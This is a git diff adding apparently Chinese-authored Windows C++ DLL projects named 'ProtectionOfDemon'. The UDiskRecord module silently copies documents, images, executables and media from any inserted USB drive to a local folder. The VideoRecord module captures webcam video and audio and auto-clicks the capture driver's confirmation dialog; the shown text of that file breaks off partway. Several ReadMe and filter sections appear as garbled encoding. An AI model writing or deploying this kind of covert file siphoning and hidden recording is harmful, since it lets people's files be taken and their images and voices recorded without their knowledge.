+ 杩欎簺鏂囦欢鐢ㄤ簬鐢熸垚鍚嶄负 UDiskRecord.pch 鐨勯缂栬瘧澶 (PCH) 鏂囦欢鍜屽悕涓 StdAfx.obj 鐨勯缂栬瘧绫诲瀷鏂囦欢銆
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬娉ㄩ噴:
+
+搴旂敤绋嬪簭鍚戝浣跨敤鈥淭ODO:鈥濇敞閲婃潵鎸囩ず搴旀坊鍔犳垨鑷畾涔夌殑婧愪唬鐮侀儴鍒嗐
+
+/////////////////////////////////////////////////////////////////////////////
diff --git a/ProtectionOfDemon/UDiskRecord/UDiskRecord.aps b/ProtectionOfDemon/UDiskRecord/UDiskRecord.aps
new file mode 100644
index 0000000..39380af
Binary files /dev/null and b/ProtectionOfDemon/UDiskRecord/UDiskRecord.aps differ
diff --git a/ProtectionOfDemon/UDiskRecord/UDiskRecord.cpp b/ProtectionOfDemon/UDiskRecord/UDiskRecord.cpp
new file mode 100644
index 0000000..98a4540
--- /dev/null
+++ b/ProtectionOfDemon/UDiskRecord/UDiskRecord.cpp
@@ -0,0 +1,431 @@
+// UDiskRecord.cpp : 定义 DLL 应用程序的导出函数。
+//
+
+#include "stdafx.h"
+#include "resource.h"
+
+// 头文件
+#include
+#include
+using namespace std;
+#pragma comment(lib, "user32.lib")
+#pragma comment(lib, "Gdi32.lib")
+
+// 函数声明
+BOOL CALLBACK MessageOnlyWinProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
+
+// 全局变量
+extern HMODULE g_hModule;
+HWND g_hWnd = NULL;
+#define COPY_TYPE_NUM 10
+BOOL g_bUDiskRecord = FALSE;
+BOOL g_bUDiskCancelCopy = FALSE;
+char g_szUDiskSaveDirectory[MAX_PATH] = {0};
+BOOL g_bCopyType[COPY_TYPE_NUM] = { FALSE };
+
+vector g_vechandle; // 存储复制多线程的句柄
+
+/*
+0 所有类型文件
+1 可执行程序类型(exe)
+2 图片类型(jpg,png,bmp)
+3 Word类型(doc,docx)
+4 Power Point类型(ppt,pptx)
+5 Excel类型(els,elsx)
+6 音频类型(mp3,wav)
+7 视频类型(mp4,avi,rmvb,mkv)
+8 保留
+9 保留
+*/
+
+// 函数定义
+void ShowError(char *lpszText)
+{
+ char szErr[MAX_PATH] = { 0 };
+ ::wsprintf(szErr, "%s Error!\nError Code Is:%d\n", lpszText, ::GetLastError());
+ ::MessageBox(NULL, szErr, "UDiskRecord", MB_OK | MB_ICONERROR);
+}
+
+
+void GetFileFormat(char *strSrc, char *strDest)
+{
+ int iLen = strlen(strSrc);
+ int iExtLen = 0;
+ bool bFlag = false;
+ int i = 0, j = 0;
+
+ for (i = iLen - 1; i >= 0; i--)
+ {
+ if ('.' == strSrc[i])
+ {
+ break;
+ }
+ iExtLen++;
+ }
+ if (0 > i) // 没有拓展名
+ {
+ strDest[0] = '\0';
+ return;
+ }
+ for (i = (iLen - iExtLen); i < iLen; i++)
+ {
+ strDest[j++] = strSrc[i];
+ }
+
+ strDest[j] = '\0';
+}
+
+
+BOOL IsValidDrive(char *strSrcPath)
+{
+ char szDriver[4] = { 0 };
+ ::RtlCopyMemory(szDriver, strSrcPath, 3);
+ szDriver[3] = '\0';
+ if (DRIVE_NO_ROOT_DIR == ::GetDriveType(szDriver))
+ {
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+
+void SearchAndCopyFile(char *strSrc, char *strDest)
+{
+ // 若停止UDisk的记录,则立即终止复制
+ if (!g_bUDiskRecord)
+ {
+ return;
+ }
+ // 判断盘符是否有效,若无效,则立即终止复制
+ if (!IsValidDrive(strSrc))
+ {
+ return;
+ }
+
+ // 创建目录
+ ::CreateDirectory(strDest, NULL);
+ // 搜索指定类型文件并复制
+ char *pFileName = new char[MAX_PATH];
+ ::wsprintf(pFileName, "%s\\*.*", strSrc);
+ WIN32_FIND_DATA FileData;
+ HANDLE hHandle = ::FindFirstFile(pFileName, &FileData);
+ if (INVALID_HANDLE_VALUE != hHandle)
+ {
+ BOOL bCopy = FALSE;
+
+ do
+ {
+ // 不知为何,会出现 . 字符,一定要过滤掉,否则会进入死循环里
+ if ('.' == FileData.cFileName[0])
+ {
+ continue; // 过滤这两个目录
+ }
+ // 判断是否是目录,若是目录,则进行递归遍历
+ char *pTempSrc = new char[MAX_PATH];
+ char *pTempDest = new char[MAX_PATH];
+ ::wsprintf(pTempSrc, "%s\\%s", strSrc, FileData.cFileName);
+ ::wsprintf(pTempDest, "%s\\%s", strDest, FileData.cFileName);
+
+// ::MessageBox(NULL, pTempSrc, pTempDest, MB_OK);
+
+ if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) // 目录
+ {
+ SearchAndCopyFile(pTempSrc, pTempDest);
+ }
+ else // 文件
+ {
+ bCopy = FALSE;
+ if (g_bCopyType[0]) // 复制所有文件
+ {
+ bCopy = TRUE;
+ }
+ else
+ {
+ char *pFormat = new char[10];
+ // 获取文件格式
+ GetFileFormat(FileData.cFileName, pFormat);
+ // exe类
+ if (g_bCopyType[1])
+ {
+ if (0 == ::lstrcmpi(pFormat, "exe"))
+ {
+ bCopy = TRUE;
+ }
+ }
+ // 图片类
+ if (g_bCopyType[2])
+ {
+ if (0 == ::lstrcmpi(pFormat, "jpg") ||
+ 0 == ::lstrcmpi(pFormat, "png") ||
+ 0 == ::lstrcmpi(pFormat, "bmp"))
+ {
+ bCopy = TRUE;
+ }
+ }
+ // Doc类
+ if (g_bCopyType[3])
+ {
+ if (0 == ::lstrcmpi(pFormat, "doc") ||
+ 0 == ::lstrcmpi(pFormat, "docx"))
+ {
+ bCopy = TRUE;
+ }
+ }
+ // PPT类
+ if (g_bCopyType[4])
+ {
+ if (0 == ::lstrcmpi(pFormat, "ppt") ||
+ 0 == ::lstrcmpi(pFormat, "pptx"))
+ {
+ bCopy = TRUE;
+ }
+ }
+ // xls类
+ if (g_bCopyType[5])
+ {
+ if (0 == ::lstrcmpi(pFormat, "xls") ||
+ 0 == ::lstrcmpi(pFormat, "xlsx"))
+ {
+ bCopy = TRUE;
+ }
+ }
+ // mp3类
+ if (g_bCopyType[6])
+ {
+ if (0 == ::lstrcmpi(pFormat, "mp3") ||
+ 0 == ::lstrcmpi(pFormat, "wav"))
+ {
+ bCopy = TRUE;
+ }
+ }
+ // mp4类
+ if (g_bCopyType[7])
+ {
+ if (0 == ::lstrcmpi(pFormat, "mp4") ||
+ 0 == ::lstrcmpi(pFormat, "avi") ||
+ 0 == ::lstrcmpi(pFormat, "rmvb") ||
+ 0 == ::lstrcmpi(pFormat, "mkv"))
+ {
+ bCopy = TRUE;
+ }
+ }
+
+ delete [] pFormat;
+ pFormat = NULL;
+ }
+ if (bCopy)
+ {
+// ::CopyFile(pTempSrc, pTempDest, FALSE);
+ ::CopyFileEx(pTempSrc, pTempDest, NULL, NULL, &g_bUDiskCancelCopy, NULL);
+/*
+function CopyFileEx(
+ lpExistingFileName : PChar; // 来源文件
+ lpNewFileName : PChar; // 目标文件
+ lpProgressRoutine : TFNProgressRoutine; // 用于返回文件有关信息的回调函数
+ lpData : Pointer; // 传递给回调函数的参数
+ pbCancel : PBool; // 用于中途取消拷贝,函数会监视此值的状态,如果为真,则停止拷贝
+ dwCopyFlags : DWORD // 选项标志,见定义
+ ): BOOL; stdcall; // 返回拷贝成功还是失败
+*/
+ }
+ }
+ delete pTempSrc;
+ delete pTempDest;
+ pTempSrc = NULL;
+ pTempDest = NULL;
+ } while (::FindNextFile(hHandle, &FileData));
+ }
+ ::FindClose(hHandle);
+
+ delete pFileName;
+ pFileName = NULL;
+}
+
+
+
+UINT UDiskCopyThreadProc(LPVOID lpVoid)
+{
+ char *lpszDriver = (char *)lpVoid;
+ char szDriver[10] = { 0 };
+ ::lstrcpy(szDriver, lpszDriver);
+ // 释放内存
+ delete[] lpszDriver;
+ lpszDriver = NULL;
+ // 获取当前系统时间
+ char szCurrentDateTime[32];
+ SYSTEMTIME stSystmTime = {0};
+ ::GetLocalTime(&stSystmTime);
+ ::wsprintf(szCurrentDateTime, "%4d%.2d%.2d%.2d%.2d%.2d",
+ stSystmTime.wYear, stSystmTime.wMonth, stSystmTime.wDay,
+ stSystmTime.wHour, stSystmTime.wMinute, stSystmTime.wSecond);
+ // 构造存储路径
+ char szSaveDirectory[MAX_PATH] = {0};
+ ::wsprintf(szSaveDirectory, "%s\\%s", g_szUDiskSaveDirectory, szCurrentDateTime);
+// ::MessageBox(NULL, szDriver, szSaveDirectory, MB_OK);
+ // 遍历并复制
+ SearchAndCopyFile(szDriver, szSaveDirectory);
+
+ return 0;
+}
+
+
+void DeviceChange(WPARAM wParam, LPARAM lParam)
+{
+ switch (wParam)
+ {
+ case DBT_DEVICEARRIVAL: // A device has been inserted and is now available.
+ {
+ PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
+ if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype) // 逻辑卷
+ {
+ // 得到设备盘符
+ PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
+ // A logical unit mask identifying one or more logical units.
+ // Each bit in the mask corresponds to one logical drive.
+ // Bit 0 represents drive A, bit 1 represents drive B, and so on.
+ DWORD dwDriver = lpdbv->dbcv_unitmask;
+ DWORD dwTemp = 1;
+ char *pDriver = new char[4]; // 注意:记得释放内存
+ ::lstrcpy(pDriver, "A:\\");
+ for (pDriver[0] = 'A'; pDriver[0] <= 'Z'; pDriver[0]++)
+ {
+ if (0 < (dwTemp & dwDriver))
+ {
+ char *pGetDriver = new char[4]; // 注意:记得释放内存
+ ::lstrcpy(pGetDriver, pDriver);
+ HANDLE hThread = ::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)UDiskCopyThreadProc, (LPVOID)pGetDriver, 0, NULL);
+ // 存放到向量中
+ g_vechandle.push_back(hThread);
+ }
+ dwTemp = (dwTemp << 1); // 左移1位
+ }
+ delete[] pDriver;
+ pDriver = NULL;
+ }
+ break;
+ }
+ case DBT_DEVICEREMOVEPENDING: // A device is about to be removed. Cannot be denied.
+ {
+ break;
+ }
+ case DBT_DEVICEREMOVECOMPLETE: // A device has been removed.
+ {
+ PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
+ if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype) // 逻辑卷
+ {
+ // 得到设备盘符
+ PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
+ // A logical unit mask identifying one or more logical units.
+ // Each bit in the mask corresponds to one logical drive.
+ // Bit 0 represents drive A, bit 1 represents drive B, and so on.
+ DWORD dwDriver = lpdbv->dbcv_unitmask;
+ DWORD dwTemp = 1;
+ char *pDriver = new char[4]; // 注意:记得释放内存
+ ::lstrcpy(pDriver, "A:\\");
+ for (pDriver[0] = 'A'; pDriver[0] <= 'Z'; pDriver[0]++)
+ {
+ if (0 < (dwTemp & dwDriver))
+ {
+ // 立即结束此U盘的复制线程
+ break;
+ }
+ dwTemp = (dwTemp << 1); // 左移1位
+ }
+ delete[]pDriver;
+ pDriver = NULL;
+ }
+
+ break;
+ }
+ default:
+ break;
+ }
+}
+
+
+BOOL CALLBACK MessageOnlyWinProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
+{
+ switch (uMsg)
+ {
+ case WM_INITDIALOG:
+ {
+ g_hWnd = hWnd;
+ break;
+ }
+ case WM_DEVICECHANGE:
+ {
+ if (g_bUDiskRecord)
+ {
+ DeviceChange(wParam, lParam);
+ }
+ break;
+ }
+ case WM_CLOSE:
+ {
+ ::DestroyWindow(hWnd);
+ break;
+ }
+ default:
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+
+BOOL InitUDiskRecord()
+{
+ g_bUDiskCancelCopy = FALSE;
+ g_hWnd = ::CreateDialogParam(g_hModule, MAKEINTRESOURCE(IDD_DIALOG1), NULL, MessageOnlyWinProc, NULL);
+ return TRUE;
+}
+
+
+BOOL ExitUDiskRecord()
+{
+ g_bUDiskRecord = FALSE;
+ g_bUDiskCancelCopy = TRUE;
+
+ // 遍历向量,获取多线程的句柄
+ vector::iterator it;
+ for (it = g_vechandle.begin(); it != g_vechandle.end(); it++)
+ {
+ ::WaitForSingleObject((*it), INFINITE);
+ ::CloseHandle((*it));
+ }
+ g_vechandle.erase(g_vechandle.begin(), g_vechandle.end());
+
+ ::SendMessage(g_hWnd, WM_CLOSE, NULL, NULL);
+ return TRUE;
+}
+
+void SetUDiskRecord(BOOL bUDiskRecord)
+{
+ g_bUDiskRecord = bUDiskRecord;
+}
+
+void SetUDiskSaveDirectory(char *lpszUDiskSaveDirectory)
+{
+ ::lstrcpy(g_szUDiskSaveDirectory, lpszUDiskSaveDirectory);
+}
+
+void SetUDiskRecordCopyType(int iIndex, BOOL bCopy)
+{
+ /*
+ 0 所有类型文件
+ 1 可执行程序类型(exe)
+ 2 图片类型(jpg,png,bmp)
+ 3 Word类型(doc,docx)
+ 4 Power Point类型(ppt,pptx)
+ 5 Excel类型(els,elsx)
+ 6 音频类型(mp3,wav)
+ 7 视频类型(mp4,avi,rmvb,mkv)
+ 8 保留
+ 9 保留
+ */
+ if (COPY_TYPE_NUM > iIndex)
+ {
+ g_bCopyType[iIndex] = bCopy;
+ }
+}
\ No newline at end of file
diff --git a/ProtectionOfDemon/UDiskRecord/UDiskRecord.def b/ProtectionOfDemon/UDiskRecord/UDiskRecord.def
new file mode 100644
index 0000000..9213461
--- /dev/null
+++ b/ProtectionOfDemon/UDiskRecord/UDiskRecord.def
@@ -0,0 +1,13 @@
+LIBRARY
+
+EXPORTS
+ ; 此处可以是显式导出
+ InitUDiskRecord
+ ExitUDiskRecord
+ SetUDiskRecord
+ SetUDiskSaveDirectory
+ SetUDiskRecordCopyType
+
+
+
+
diff --git a/ProtectionOfDemon/UDiskRecord/UDiskRecord.rc b/ProtectionOfDemon/UDiskRecord/UDiskRecord.rc
new file mode 100644
index 0000000..cbd1527
Binary files /dev/null and b/ProtectionOfDemon/UDiskRecord/UDiskRecord.rc differ
diff --git a/ProtectionOfDemon/UDiskRecord/UDiskRecord.vcxproj b/ProtectionOfDemon/UDiskRecord/UDiskRecord.vcxproj
new file mode 100644
index 0000000..7e1c15f
--- /dev/null
+++ b/ProtectionOfDemon/UDiskRecord/UDiskRecord.vcxproj
@@ -0,0 +1,113 @@
+锘
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+
+ {DC1EC8DC-568D-44AF-9A70-2A05421869B9}
+ Win32Proj
+ UDiskRecord
+
+
+
+ DynamicLibrary
+ true
+ v120
+ MultiByte
+ Dynamic
+
+
+ DynamicLibrary
+ false
+ v120_xp
+ true
+ MultiByte
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+
+ Use
+ Level3
+ Disabled
+ WIN32;_DEBUG;_WINDOWS;_USRDLL;UDISKRECORD_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ UDiskRecord.def
+
+
+
+
+ Level3
+ Use
+ MaxSpeed
+ true
+ true
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;UDISKRECORD_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ true
+ true
+ UDiskRecord.def
+
+
+
+
+
+
+
+
+
+
+
+
+ false
+
+
+ false
+
+
+
+
+ Create
+ Create
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/UDiskRecord/UDiskRecord.vcxproj.filters b/ProtectionOfDemon/UDiskRecord/UDiskRecord.vcxproj.filters
new file mode 100644
index 0000000..c0e688c
--- /dev/null
+++ b/ProtectionOfDemon/UDiskRecord/UDiskRecord.vcxproj.filters
@@ -0,0 +1,52 @@
+锘
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;hm;inl;inc;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+
+
+ 璧勬簮鏂囦欢
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/UDiskRecord/dllmain.cpp b/ProtectionOfDemon/UDiskRecord/dllmain.cpp
new file mode 100644
index 0000000..0a3730a
--- /dev/null
+++ b/ProtectionOfDemon/UDiskRecord/dllmain.cpp
@@ -0,0 +1,22 @@
+// dllmain.cpp : 定义 DLL 应用程序的入口点。
+#include "stdafx.h"
+
+HMODULE g_hModule = NULL;
+
+BOOL APIENTRY DllMain( HMODULE hModule,
+ DWORD ul_reason_for_call,
+ LPVOID lpReserved
+ )
+{
+ switch (ul_reason_for_call)
+ {
+ case DLL_PROCESS_ATTACH:
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ case DLL_PROCESS_DETACH:
+ break;
+ }
+ g_hModule = hModule;
+ return TRUE;
+}
+
diff --git a/ProtectionOfDemon/UDiskRecord/resource.h b/ProtectionOfDemon/UDiskRecord/resource.h
new file mode 100644
index 0000000..c48bac3
Binary files /dev/null and b/ProtectionOfDemon/UDiskRecord/resource.h differ
diff --git a/ProtectionOfDemon/UDiskRecord/stdafx.cpp b/ProtectionOfDemon/UDiskRecord/stdafx.cpp
new file mode 100644
index 0000000..f4ff398
--- /dev/null
+++ b/ProtectionOfDemon/UDiskRecord/stdafx.cpp
@@ -0,0 +1,8 @@
+// stdafx.cpp : 只包括标准包含文件的源文件
+// UDiskRecord.pch 将作为预编译头
+// stdafx.obj 将包含预编译类型信息
+
+#include "stdafx.h"
+
+// TODO: 在 STDAFX.H 中
+// 引用任何所需的附加头文件,而不是在此文件中引用
diff --git a/ProtectionOfDemon/UDiskRecord/stdafx.h b/ProtectionOfDemon/UDiskRecord/stdafx.h
new file mode 100644
index 0000000..9ea5d30
--- /dev/null
+++ b/ProtectionOfDemon/UDiskRecord/stdafx.h
@@ -0,0 +1,16 @@
+// stdafx.h : 标准系统包含文件的包含文件,
+// 或是经常使用但不常更改的
+// 特定于项目的包含文件
+//
+
+#pragma once
+
+#include "targetver.h"
+
+#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的信息
+// Windows 头文件:
+#include
+
+
+
+// TODO: 在此处引用程序需要的其他头文件
diff --git a/ProtectionOfDemon/UDiskRecord/targetver.h b/ProtectionOfDemon/UDiskRecord/targetver.h
new file mode 100644
index 0000000..aadba2f
--- /dev/null
+++ b/ProtectionOfDemon/UDiskRecord/targetver.h
@@ -0,0 +1,8 @@
+#pragma once
+
+// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
+
+// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将
+// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
+
+#include
diff --git a/ProtectionOfDemon/VideoRecord/ReadMe.txt b/ProtectionOfDemon/VideoRecord/ReadMe.txt
new file mode 100644
index 0000000..46e63f9
--- /dev/null
+++ b/ProtectionOfDemon/VideoRecord/ReadMe.txt
@@ -0,0 +1,32 @@
+锘========================================================================
+ 鍔ㄦ侀摼鎺ュ簱锛歏ideoRecord 椤圭洰姒傝堪
+========================================================================
+
+搴旂敤绋嬪簭鍚戝宸蹭负鎮ㄥ垱寤轰簡姝 VideoRecord DLL銆
+
+鏈枃浠舵瑕佷粙缁嶇粍鎴 VideoRecord 搴旂敤绋嬪簭鐨勬瘡涓枃浠剁殑鍐呭銆
+
+
+VideoRecord.vcxproj
+ 杩欐槸浣跨敤搴旂敤绋嬪簭鍚戝鐢熸垚鐨 VC++ 椤圭洰鐨勪富椤圭洰鏂囦欢锛屽叾涓寘鍚敓鎴愯鏂囦欢鐨 Visual C++ 鐨勭増鏈俊鎭紝浠ュ強鏈夊叧浣跨敤搴旂敤绋嬪簭鍚戝閫夋嫨鐨勫钩鍙般侀厤缃拰椤圭洰鍔熻兘鐨勪俊鎭
+
+VideoRecord.vcxproj.filters
+ 杩欐槸浣跨敤鈥滃簲鐢ㄧ▼搴忓悜瀵尖濈敓鎴愮殑 VC++ 椤圭洰绛涢夊櫒鏂囦欢銆傚畠鍖呭惈鏈夊叧椤圭洰鏂囦欢涓庣瓫閫夊櫒涔嬮棿鐨勫叧鑱斾俊鎭傚湪 IDE 涓紝閫氳繃杩欑鍏宠仈锛屽湪鐗瑰畾鑺傜偣涓嬩互鍒嗙粍褰㈠紡鏄剧ず鍏锋湁鐩镐技鎵╁睍鍚嶇殑鏂囦欢銆備緥濡傦紝鈥.cpp鈥濇枃浠朵笌鈥滄簮鏂囦欢鈥濈瓫閫夊櫒鍏宠仈銆
+
+VideoRecord.cpp
+ 杩欐槸涓 DLL 婧愭枃浠躲
+
+ 姝 DLL 鍦ㄥ垱寤烘椂涓嶅鍑轰换浣曠鍙枫傚洜姝わ紝鐢熸垚鏃朵笉浼氫骇鐢 .lib 鏂囦欢銆傚鏋滃笇鏈涙椤圭洰鎴愪负鍏朵粬鏌愪釜椤圭洰鐨勯」鐩緷璧栭」锛屽垯闇瑕佹坊鍔犱唬鐮佷互浠 DLL 瀵煎嚭鏌愪簺绗﹀彿锛屼互渚夸骇鐢熶竴涓鍑哄簱锛屾垨鑰咃紝涔熷彲浠ュ湪椤圭洰鈥滃睘鎬ч〉鈥濆璇濇涓殑鈥滈摼鎺ュ櫒鈥濇枃浠跺す涓紝灏嗏滃父瑙勨濆睘鎬ч〉涓婄殑鈥滃拷鐣ヨ緭鍏ュ簱鈥濆睘鎬ц缃负鈥滄槸鈥濄
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬鏍囧噯鏂囦欢:
+
+StdAfx.h, StdAfx.cpp
+ 杩欎簺鏂囦欢鐢ㄤ簬鐢熸垚鍚嶄负 VideoRecord.pch 鐨勯缂栬瘧澶 (PCH) 鏂囦欢鍜屽悕涓 StdAfx.obj 鐨勯缂栬瘧绫诲瀷鏂囦欢銆
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬娉ㄩ噴:
+
+搴旂敤绋嬪簭鍚戝浣跨敤鈥淭ODO:鈥濇敞閲婃潵鎸囩ず搴旀坊鍔犳垨鑷畾涔夌殑婧愪唬鐮侀儴鍒嗐
+
+/////////////////////////////////////////////////////////////////////////////
diff --git a/ProtectionOfDemon/VideoRecord/VideoRecord.cpp b/ProtectionOfDemon/VideoRecord/VideoRecord.cpp
new file mode 100644
index 0000000..9a6bbf1
--- /dev/null
+++ b/ProtectionOfDemon/VideoRecord/VideoRecord.cpp
@@ -0,0 +1,347 @@
+// VideoRecord.cpp : 定义 DLL 应用程序的导出函数。
+//
+
+#include "stdafx.h"
+
+#include
+#pragma comment(lib, "vfw32.lib")
+#include
+#include
+#pragma comment(lib, "Comdlg32.lib")
+
+
+// 全局变量
+HWND g_hCapWnd; // 预示窗口
+BOOL h_bInit; // 捕捉器初始化标志
+CAPDRIVERCAPS g_DriverCaps; // 驱动器性能
+CAPSTATUS g_CapStatus; // 捕捉窗口的状态
+//CAPTUREPARMS g_CapParam; // 捕捉参数
+char g_szCapFileName[MAX_PATH]; // 捕捉文件名称
+
+DWORD g_dwVideoRecordSize = 0;
+DWORD g_dwVideoRecordLimitSize = 500 * 1024 * 1024; // 500M
+DWORD g_dwVideoRecordSaveFileCount = 1;
+
+// 函数声明
+BOOL StartVideoRecord(char *lpszSaveFileName, int iFlag = 0);
+UINT SaveThreadProc(LPVOID lpVoid);
+BOOL VideoRecordFormatDlg(int iWidth = 160, int iHeight = 120, int iBitCount = 16);
+
+
+// 函数定义
+void ShowError(char *lpszText)
+{
+ char szErr[MAX_PATH] = {0};
+ ::wsprintf(szErr, "%s Error!\nError Code Is:%d\n", lpszText, ::GetLastError());
+ ::MessageBox(NULL, szErr, "VideoRecord", MB_OK | MB_ICONERROR);
+}
+
+
+UINT ClickThreadProc(LPVOID lpVoid)
+{
+ int i = 0;
+ char szTitle[MAX_PATH] = { 0 };
+ CAPDRIVERCAPS *lpcapDrivere = (CAPDRIVERCAPS *)lpVoid;
+ // 获取用户默认语言
+ LANGID lid = ::GetUserDefaultLangID();
+ switch (lid)
+ {
+ case 0x0804: // 中文
+ {
+ ::wsprintf(szTitle, "%s", "视频源");
+ break;
+ }
+ case 0x0409: // 英文
+ {
+ ::wsprintf(szTitle, "%s", "Video Source");
+ break;
+ }
+ default:
+ break;
+ }
+ // 寻找窗口并点击确定
+ HWND hWnd = NULL;
+ while (!lpcapDrivere->fCaptureInitialized)
+ {
+ hWnd = ::FindWindow(NULL, szTitle);
+ ::SendMessage(hWnd, WM_COMMAND, MAKELONG(IDOK, BN_CLICKED), 0);
+ }
+
+ return 0;
+}
+
+
+BOOL VideoRecordInit(HWND hCtlWnd, UINT uiCtlID, BOOL bPreview, int iPreviewRate)
+{
+ HWND hStaticWnd = ::GetDlgItem(hCtlWnd, uiCtlID);
+ RECT rcStatic = { 0 };
+ ::GetWindowRect(hStaticWnd, &rcStatic);
+ // 创建预示窗口
+ g_hCapWnd = capCreateCaptureWindow("Capture Video Program", WS_CHILD | WS_VISIBLE |
+ WS_EX_CLIENTEDGE | WS_EX_DLGMODALFRAME,
+ 0, 0, (rcStatic.right - rcStatic.left), (rcStatic.bottom - rcStatic.top),
+ hStaticWnd, 0);
+ if (NULL == g_hCapWnd)
+ {
+ ShowError("capCreateCaptureWindow");
+ return FALSE;
+ }
+ // 连接第0号驱动器
+ ::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ClickThreadProc, &g_DriverCaps, 0, NULL);
+ while (!capDriverConnect(g_hCapWnd, 0))
+ {
+ }
+ // 得到驱动器的性能
+ if (!capDriverGetCaps(g_hCapWnd, &g_DriverCaps, sizeof(CAPDRIVERCAPS)))
+ {
+ ShowError("capDriverGetCaps");
+ return FALSE;
+ }
+ // 判断是否初始化成功
+ if (g_DriverCaps.fCaptureInitialized)
+ {
+ // 得到驱动器状态
+ capGetStatus(g_hCapWnd, &g_CapStatus, sizeof(CAPSTATUS));
+ // 设置预示帧频
+ capPreviewRate(g_hCapWnd, iPreviewRate);
+ // 设置预示方式
+ capPreview(g_hCapWnd, bPreview);
+ }
+ else
+ {
+ ShowError("Video Capture Init");
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+
+LRESULT CALLBACK capVideoStreamCallback(HWND hWnd, LPVIDEOHDR lpVHdr)
+{
+ g_dwVideoRecordSize = g_dwVideoRecordSize + lpVHdr->dwBytesUsed;
+ // 每当视频大于限制的大小时,创建新文件
+ if (g_dwVideoRecordLimitSize < g_dwVideoRecordSize)
+ {
+ g_dwVideoRecordSize = 0;
+ // 创建保存视频多线程
+ ::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SaveThreadProc, hWnd, 0, NULL);
+ }
+
+ return 0;
+}
+
+
+BOOL StartVideoRecord(char *lpszSaveFileName, int iFlag)
+{
+ // 如果iFlag为0,则表示是人为点击录制的第一个视频文件;
+ // 非零,则表示录制的文件超过录制文件大小的限制,自动保存并录制新文件
+ if (0 == iFlag)
+ {
+ ::lstrcpy(g_szCapFileName, lpszSaveFileName);
+ }
+ // 设置回调函数
+ capSetCallbackOnVideoStream(g_hCapWnd, capVideoStreamCallback);
+ // 设置文件名
+ capFileSetCaptureFile(g_hCapWnd, lpszSaveFileName);
+ // 得到参数
+ CAPTUREPARMS CapParam = {0};
+ capCaptureGetSetup(g_hCapWnd, &CapParam, sizeof(CAPTUREPARMS));
+ // 设置参数
+ CapParam.fCaptureAudio = TRUE; // 录制音频
+ CapParam.fYield = TRUE; // 如果为TRUE,将产生一个后台线程来进行视频捕捉
+ CapParam.fAbortLeftMouse = FALSE; // 为TRUE,表示单击鼠标左键停止捕捉
+ CapParam.fAbortRightMouse = FALSE; // 为TRUE,表示单击鼠标右键停止捕捉
+ CapParam.vKeyAbort = VK_ESCAPE; // 表示设置终止捕捉的虚拟键,此处设置为ESC键
+ CapParam.dwRequestMicroSecPerFrame = 200000; // 以微秒为单位设置捕捉帧率,默认值为66667,即每秒15帧 1000000/15 = 66667
+ capCaptureSetSetup(g_hCapWnd, &CapParam, sizeof(CAPTUREPARMS));
+ // 捕捉到文件
+ capCaptureSequence(g_hCapWnd);
+ // 初始化为0
+ g_dwVideoRecordSize = 0;
+
+ return TRUE;
+}
+
+
+BOOL StopVideoRecord()
+{
+ // 停止捕捉
+ capCaptureStop(g_hCapWnd);
+
+ return TRUE;
+}
+
+
+UINT SaveThreadProc(LPVOID lpVoid)
+{
+ // 停止录制并保存
+ StopVideoRecord();
+
+ Sleep(5000);
+
+ // 开始录制新视频文件
+ char szFileName[MAX_PATH] = { 0 }, szTemp[MAX_PATH] = { 0 };
+ ::lstrcpy(szTemp, g_szCapFileName);
+ int iLen = ::lstrlen(szTemp);
+ szTemp[iLen - 4] = '\0';
+ ::wsprintf(szFileName, "%s_%d.avi", szTemp, g_dwVideoRecordSaveFileCount);
+ StartVideoRecord(szFileName, 1);
+ g_dwVideoRecordSaveFileCount++;
+
+ return 0;
+}
+
+
+void VideoRecordDisplayDlg()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 设置格式对话框
+ if (g_DriverCaps.fHasDlgVideoDisplay)
+ {
+ capDlgVideoDisplay(g_hCapWnd);
